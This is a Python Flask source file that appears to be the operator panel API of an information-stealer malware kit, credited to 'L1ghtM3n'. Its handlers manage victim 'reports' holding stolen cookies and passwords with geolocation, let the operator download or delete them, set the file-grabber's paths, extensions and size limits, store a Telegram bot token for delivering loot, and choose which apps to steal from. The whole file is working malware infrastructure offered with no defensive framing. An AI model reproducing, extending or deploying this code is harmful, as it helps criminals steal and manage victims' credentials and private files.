#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Coded by L1ghtM3n@protonmail.com # Import modules from functools import wraps from base64 import b64decode from json import loads, dumps from markupsafe import escape from flask import \ request, jsonify, session, redirect, url_for, send_file # Import packages from core.models.reports import Report from core.models.accounts import Account from core.models.errors import ApiErrors from core.modules.targets import SetTargetApps from core.modules.telegram import SetTelegramCredentials from core.modules.encryption import SetEncryptionKey, RC4Cipher from core.modules.grabber import \ AddGrabberPath, DeleteGrabberPath, \ SetGrabberExtensions, SetGrabberMaxSize """ Check if client session is exists and valid """ def is_client_authorized() -> bool: # Check if session exists if not session: return False # Create account object account = Account(session["account"]["username"], session["account"]["password"]) # Check if account exists and password if not account.exists() or not account.login(): session.pop("account", None) return False return True """ Login decorator """ def login_required(function): @wraps(function) def decorated_function(*args, **kwargs): if not is_client_authorized(): return redirect(url_for("login"), code=302) return function(*args, **kwargs) return decorated_function """ Get report error/success message by id Result: ErrorState, Message, Report object """ def get_report_state(id: int) -> tuple: # Check user is authorized if not is_client_authorized(): return True, ApiErrors.client_not_authorized, None # Get report by id report = Report(identification=id) # Check if exists if not report.Exists(): return True, ApiErrors.Report.not_found.format(id), None # Check username if not report.IsReportOwner(session["account"]["username"]): return True, ApiErrors.client_not_authorized, None # Done return False, "OK", report """ API requests handler """ def private_api_handler(function): # Get account credentials username = escape(request.args.get("username")) if username == "None": # If args is empty - try get from post data username = escape(request.form.get("username")) password = escape(request.args.get("password")) if password == "None": # If args is empty - try get from post data password = escape(request.form.get("password")) # Create account object account = Account(username, password) # Account login function if function == "login": # Check if already logged in if "account" in session: return jsonify({"error": True, "message": ApiErrors.Login.already_logged_in.format(session["account"]["username"])}) # Check if account exists if not account.exists(): return jsonify({"error": True, "message": ApiErrors.Login.account_does_not_exist.format(username)}) # Check password if not account.login(): return jsonify({"error": True, "message": ApiErrors.Login.wrong_password}) # Logged in session["account"] = {"username": username, "password": password} # Set session return jsonify({"error": False, "message": ApiErrors.Login.logged_in}) # Account logout elif function == "logout": # Session exists if is_client_authorized(): # Close session session.pop("account", None) # Redirect to login page return redirect(url_for("login"), code=302) # Account register function # Account unregister function elif function == "unregister": # Check user is authorized if not is_client_authorized(): return jsonify({"error": True, "message": ApiErrors.client_not_authorized}) # Unregister account if Account(session["account"]["username"], '').unregister(): return jsonify({"error": False, "message": ApiErrors.Register.unregistered_ok}) # Change account password elif function == "change_password": # Check user is authorized if not is_client_authorized(): return jsonify({"error": True, "message": ApiErrors.client_not_authorized}) # Get new and old password new_password = escape(request.form.get("new_password")) old_password = escape(request.form.get("old_password")) # Create account object from data account = Account(session["account"]["username"], old_password) # Check user is authorized if account.login() is False: return jsonify({"error": True, "message": ApiErrors.client_not_authorized}) # Change password account.change_password(new_password) # Delete session session.pop("account", None) # Done return jsonify({"error": False, "message": ApiErrors.Register.change_password_ok}) # Change account encryption key elif function == "change_encryption_key": # Check user is authorized if not is_client_authorized(): return jsonify({"error": True, "message": ApiErrors.client_not_authorized}) # Get RC4 key rc4_key = escape(request.form.get("rc4_key")) SetEncryptionKey(session["account"]["username"], rc4_key) # Done return jsonify({"error": False, "message": ApiErrors.Register.change_password_ok}) # Get report elif function == "get_report": # Get report id report_id = request.args.get("id") # Get report error, message, report = get_report_state(report_id) # On error if error: return jsonify({"error": True, "message": message}) # Send report filehandle, filename = report.GetArchive() return send_file( as_attachment=True, path_or_file=filehandle, attachment_filename=filename, mimetype="application/zip" ) # Delete report from db and disk elif function == "del_report": # Check if authorized if not is_client_authorized(): return jsonify({"error": True, "message": ApiErrors.client_not_authorized}) # Get report id report_id = request.args.get("id") # Get report error, message, report = get_report_state(report_id) # On error if error: return jsonify({"error": True, "message": message}) # Delete report.DeleteReport() return jsonify({"error": False, "message": ApiErrors.Report.deleted_ok.format(report_id)}) # Comment report in db elif function == "com_report": # Check user is authorized if not is_client_authorized(): return jsonify({"error": True, "message": ApiErrors.client_not_authorized}) # Get report id report_id = request.args.get("id") comment_t = escape(request.args.get("text")) # Get report error, message, report = get_report_state(report_id) # On error if error: return jsonify({"error": True, "message": message}) # Comment report.ChangeComment(comment_t) return jsonify({"error": False, "message": ApiErrors.Report.comment_ok}) # Get reports list elif function == "get_reports": # Check user is authorized if not is_client_authorized(): return jsonify({"error": True, "message": ApiErrors.client_not_authorized}) # Get report id report_id = request.args.get("id") # Get all reports if report_id is None: found_reports = Report.GetReports( session["account"]["username"], geo_data_dict=True ) # Get one report else: found_reports = Report.GetReports( session["account"]["username"], geo_data_dict=True, identification=report_id ) # Get reports data reports = list(map(lambda report: { "id": report.id, "geo": report.geo_data, "time": report.add_time, "counter": report.counter, "cookies": report.cookies_list, "passwords": report.passwords_list, "information": report.information, }, found_reports) ) return jsonify(reports) # Add grabber path elif function == "new_grabber_path": # Check user is authorized if not is_client_authorized(): return jsonify({"error": True, "message": ApiErrors.client_not_authorized}) # Create new path_value = b64decode(request.args.get("b64_value")).decode("utf8") AddGrabberPath(session["account"]["username"], path_value) return jsonify({"error": False, "message": ApiErrors.Grabber.path_saved_ok}) # Delete grabber path elif function == "del_grabber_path": # Check user is authorized if not is_client_authorized(): return jsonify({"error": True, "message": ApiErrors.client_not_authorized}) # Delete path_value = b64decode(request.args.get("b64_value")).decode("utf8") DeleteGrabberPath(session["account"]["username"], path_value) return jsonify({"error": False, "message": ApiErrors.Grabber.path_deleted_ok}) # Delete grabber path elif function == "set_grabber_extensions": # Check user is authorized if not is_client_authorized(): return jsonify({"error": True, "message": ApiErrors.client_not_authorized}) # Set new extensions and size extensions = loads(request.args.get("json_list")) max_size = int(request.args.get("size")) SetGrabberMaxSize(session["account"]["username"], max_size) SetGrabberExtensions(session["account"]["username"], extensions) return jsonify({"error": False, "message": ApiErrors.Grabber.extensions_saved_ok}) # Change telegram bot token and chatids elif function == "set_telegram_credentials": # Check user is authorized if not is_client_authorized(): return jsonify({"error": True, "message": ApiErrors.client_not_authorized}) # Get params token = request.args.get("token") ids = loads(request.args.get("json_list")) # Apply settings SetTelegramCredentials(session["account"]["username"], token, ids) return jsonify({"error": False, "message": ApiErrors.Register.change_telegram_ok}) # Change stealer configuration for user elif function == "set_apps_collection_configuration": # Check user is authorized if not is_client_authorized(): return jsonify({"error": True, "message": ApiErrors.client_not_authorized}) # Get params apps = loads(request.args.get("json_list")) # Apply settings SetTargetApps(session["account"]["username"], apps) return jsonify({"error": False, "message": ApiErrors.Register.change_apps_ok}) # Method does not exists else: return jsonify({"error": True, "message": ApiErrors.function_does_not_exist.format(function)})